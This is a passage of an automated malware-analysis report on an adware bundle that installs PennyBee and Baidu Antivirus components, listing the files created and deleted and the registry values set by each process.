%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\DEF8DB04-2D26-469A-8D59-5D813E89773D\ToolFileList.xml (983 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolSummary\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\bavbhConfig.ini.7z (365 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolFileList.xml (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\sound\1046\1\BD_9.mp3 (601 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\srslConfigFileInfo.ini (378 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\E839B20B-DE0B-461d-A3CD-769DFA88F488\ToolSummary\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolSummary\icon.png.7z (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\bavddConfig.ini.7z (280 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolSummary\detail.xml.7z (953 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\E839B20B-DE0B-461d-A3CD-769DFA88F488\ToolSummary\icon4G.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\adblockConfig.ini (456 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\E839B20B-DE0B-461d-A3CD-769DFA88F488\ToolSummary\icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\ToolsUpdateList.xml (119 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolSummary\icon2N.png.7z (145 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\6BA17A92-4345-49c0-A228-A57C2E779055\ToolSummary\gray_icon.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\bdMiniDownloaderGB_BAV-Mini_32_1002.exe.7z (5251 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolSummary\icon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_8.mp3 (84 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\ToolsList.xml (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolSummary\detail.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\rcsConfigFileInfo.ini (372 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\2015.06.12.57.FileList.xml (596 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolSummary\icon2N.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\rcsConfig.ini (448 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\639C9925-1C42-4236-991B-AEAB22353808\ToolSummary\detail.xml.7z (858 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\DEF8DB04-2D26-469A-8D59-5D813E89773D\ToolSummary\icon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\bavrrConfigFileInfo.ini (380 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolSummary\icon2G.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolSummary\detail.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\plugindataConfig.ini (199 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_0.mp3 (48 bytes)

The Adware deletes the following file(s):

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\6BA17A92-4345-49c0-A228-A57C2E779055\ToolFileList.xml_check (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\dbg64\dbghelp.dll (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_7.mp3.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\bdMiniDownloaderGB_BAV-Mini_32_1002.exe (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\skin\plugins\Plugin_Settings\res\skin.xml.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_9.mp3.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\BavDd.dll.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\wi.dat.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolFileList.xml_check (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_8.mp3.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\E839B20B-DE0B-461d-A3CD-769DFA88F488\ToolFileList.xml_check (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\srslConfig.ini.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\MicroSignMergeHistory.ini.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\MergeHistoryList.ini.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\ToolFileList.xml_check (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\CPFileList.xml (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_11.mp3 (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\urlConfig.ini.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\bavrrConfig.ini.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_10.mp3 (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolFileList.xml_check (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\fa.dat.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\639C9925-1C42-4236-991B-AEAB22353808\ToolFileList.xml_check (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_10.mp3.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\BavBsReport.exe.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolFileList.xml_check (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_11.mp3.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sc.ini.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolFileList.xml_check (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\dbg64\dbghelp.dll.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_0.mp3.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\rcsConfig.ini.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_7.mp3 (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\ToolFileList.xml_check (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_9.mp3 (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\BavBsReport.exe (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\nsc.ini.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\BavVM.dll.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\skin\skin_bavui_frame\skin.xml.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\startupConfig.ini.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolFileList.xml_check (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\DEF8DB04-2D26-469A-8D59-5D813E89773D\ToolFileList.xml_check (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\bdMiniDownloaderGB_BAV-Mini_32_1002.exe.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_8.mp3 (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\plugindataConfig.ini.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\CPFileList.xml.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\adblockConfig.ini.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\BavScan.dll.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ProgramFileList.xml_old (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\Plugins\IPlug_Scan\IPlug_Scan.dll.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolFileList.xml_check (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\bavbhConfig.ini.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\bavddConfig.ini.7z (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_0.mp3 (0 bytes)

The process OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_a7.exe:1948 makes changes in the file system.
The Adware deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\5N2USN4O\VMwareXVirtualXIDEXHardXDrive_00000000000000000001[1].htm (0 bytes)

The process PennyBee.exe:1976 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%System%\config (200 bytes)
%System%\config\system (4607 bytes)
%System%\config\SYSTEM.LOG (7081 bytes)

The process regsvr32.exe:3588 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dump\bugreportconfig.ini (60 bytes)

The process OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_y3.exe:236 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp (51410 bytes)
%Program Files%\PennyBee\DealplyInstallerHelper.dll (11344 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsdA.tmp\UserInfo.dll (4 bytes)
%Program Files%\PennyBee\Resources\ntdis_32.dll (11344 bytes)
%Program Files%\PennyBee\PennyBeeW.exe.config (4 bytes)
%Program Files%\PennyBee\PennyBeeW.exe (13584 bytes)
%Program Files%\PennyBee\PennyBee.exe.config (1 bytes)
%Program Files%\PennyBee\PennyBee.exe (1856 bytes)
%Program Files%\PennyBee\uninstall.exe (11523 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsdA.tmp\LinkuryInstallerUtils.dll (19152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsdA.tmp\System.dll (11 bytes)
%Program Files%\PennyBee\Resources\ntdisie_32.dll (3312 bytes)
%Program Files%\PennyBee\Configs\Timers.xml (166 bytes)

The Adware deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsdA.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsdA.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd8.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsdA.tmp\UserInfo.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsdA.tmp\LinkuryInstallerUtils.dll (0 bytes)

The process cvtres.exe:2068 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%WinDir%\Temp\RESE.tmp (2868 bytes)

The process cvtres.exe:3004 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%WinDir%\Temp\RES10.tmp (2868 bytes)

The process BHipsSvc.exe:3852 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%Documents and Settings% (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\9FB78DD8-8083-4d5b-86FA-7C9AE2B224E0 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE (4 bytes)
%System%\config\system (13978 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\09F68E66-0B2F-47f7-83AF-77569A4A63C1 (4 bytes)
%System%\wbem\Logs (4 bytes)
%System%\drivers\bndef.sys (3073 bytes)
%System%\drivers\Bhbase.sys (601 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\BavToolsInfo.xml (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp (4 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015 (50 bytes)
%System%\drivers\BHipsEx.sys (673 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\mn.dat (8 bytes)
%WinDir%\Temp\Cab14.tmp (54 bytes)
%System%\config\SYSTEM.LOG (26888 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\MetaData\2BF68F4714092295550497DD56F57004 (408 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3\detail.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\9FB78DD8-8083-4d5b-86FA-7C9AE2B224E0\detail.xml (4 bytes)
%Documents and Settings%\%current user%\Local Settings (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\midhf.dat.tmp (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\mn.dat.tmp (768 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\DEF8DB04-2D26-469A-8D59-5D813E89773D\detail.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\23A88272-3BEB-64D1-7DFB-470FD51F9BBA (4 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\Content\2BF68F4714092295550497DD56F57004 (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\detail.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\09F68E66-0B2F-47f7-83AF-77569A4A63C1\detail.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools (4 bytes)
%WinDir%\Temp\Tar17.tmp (2712 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\6BA17A92-4345-49c0-A228-A57C2E779055\detail.xml (4 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data (4 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\BAVData\Filter.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\bhf.dat (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\E839B20B-DE0B-461d-A3CD-769DFA88F488\detail.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data (4 bytes)
%System%\drivers\bnbase.sys (52 bytes)
%WinDir% (192 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\hipstips.dat.tmp (2548 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\strlog\1448372475_BavTray_2296_strr.dat (4 bytes)
C:\$Directory (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\detail.xml (4 bytes)
%WinDir%\Temp\Tar15.tmp (2712 bytes)
%System% (128 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\midhf.dat (2 bytes)
%System%\drivers\Bfilter.sys (51 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\userconfig.ini (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8A73A249-C3BE-401A-8335-A832080931D3 (4 bytes)
%Documents and Settings%\LocalService\LOCAL SETTINGS (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\bhf.dat.tmp (2 bytes)
%Documents and Settings%\All Users\DOCUMENTS (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\E839B20B-DE0B-461d-A3CD-769DFA88F488 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\hsc.dat (22 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\5DB281C3-B655-656A-01B6-E302199E376A (4 bytes)
%System%\config (2312 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHipsConfig.ini (54 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\rl.dat (2 bytes)
%System%\drivers\Bprotect.sys (673 bytes)
%System%\drivers (4 bytes)
%System%\drivers\Bfmon.sys (31 bytes)
%WinDir%\Temp\Tar19.tmp (2712 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dump\bugreportconfig.ini (30 bytes)
%WinDir%\Temp\Cab16.tmp (54 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\HipsPopTips.log (2857 bytes)
%Documents and Settings%\%current user% (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0 (396 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\HipsTips.xml (402 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\detail.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\5DB281C3-B655-656A-01B6-E302199E376A\detail.xml (4 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 (408 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\hlcf.dat (795 bytes)
%WinDir%\Temp\Cab18.tmp (50 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135\detail.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\rl.dat.tmp (2 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\DEF8DB04-2D26-469A-8D59-5D813E89773D (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dump (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\hipstips.dat (29 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\config.ini (1144 bytes)
%Documents and Settings%\LOCALSERVICE (4 bytes)

The Adware deletes the following file(s):

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\mn.dat.tmp (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\midhf.dat.tmp (0 bytes)
%WinDir%\Temp\Cab14.tmp (0 bytes)
%WinDir%\Temp\Tar19.tmp (0 bytes)
%WinDir%\Temp\Tar17.tmp (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\bhf.dat.tmp (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\hipstips.dat.tmp (0 bytes)
%WinDir%\Temp\Cab18.tmp (0 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\rl.dat.tmp (0 bytes)
%WinDir%\Temp\Cab16.tmp (0 bytes)
%WinDir%\Temp\Tar15.tmp (0 bytes)

Registry activity

The process csc.exe:1644 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DB 5B 8F F4 5F EA 5B 41 F5 2E D9 E2 BD E8 34 E8"

The process csc.exe:2996 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AC 00 81 C4 E2 81 DE 0F AA C2 03 7E DB 10 CB A8"

The process bavupdater.exe:3904 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2C A9 DE B7 6C 83 30 34 31 CA C9 77 B8 A5 0E 12"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process BavSvc.exe:3632 makes changes in the system registry.
The Adware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKCU\Software\Baidu Security\Antivirus\web]
"dcloud" = "http://up.eg.bav.baidu.com/cgi-bin/url_warnning/url_warnning.cgi"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\LocalService\Local Settings\Application Data"

[HKLM\System\CurrentControlSet\Services\BavR3base]
"ImagePath" = "\??\%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavR3base.sys"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\System\CurrentControlSet\Services\BavR3base]
"Type" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\F]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\BavSvc\DEBUG]
"Trace Level" = ""

[HKLM\SOFTWARE\Baidu Security\Antivirus]
"domain_adjustment_cost" = "375"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"EventMessageFile" = "%System%\ESENT.dll"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = ""

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"

[HKCU\Software\Baidu Security\PC Faster]
"pcfaster-id" = "S-1-5-21-1844237615-1960408961-1801674531-1003#000C2902CDFB"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\A]
"BaseClass" = "Drive"

[HKCU\Software\Baidu Security\Antivirus\web]
"lanid" = "1033"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKCU\Software\Baidu Security\Antivirus\web]
"dlenable" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = ""

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"

[HKCU\Software\Baidu Security\Antivirus\web]
"uport" = "80"
"ucloud" = "u.eg.bav.baidu.com"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"LogSessionName" = "stdout"

[HKLM\System\CurrentControlSet\Services\BavR3base]
"ErrorControl" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKCU\Software\Baidu Security\Antivirus\web]
"rcloud" = "http://up.eg.bav.baidu.com/cgi-bin/url_visit_action.cgi"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKU\.DEFAULT\Software\Baidu Security\Antivirus\web]
"Enable" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\D]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8F 2F 7F 06 79 1A C2 2A 2D 80 41 A5 45 40 C3 12"

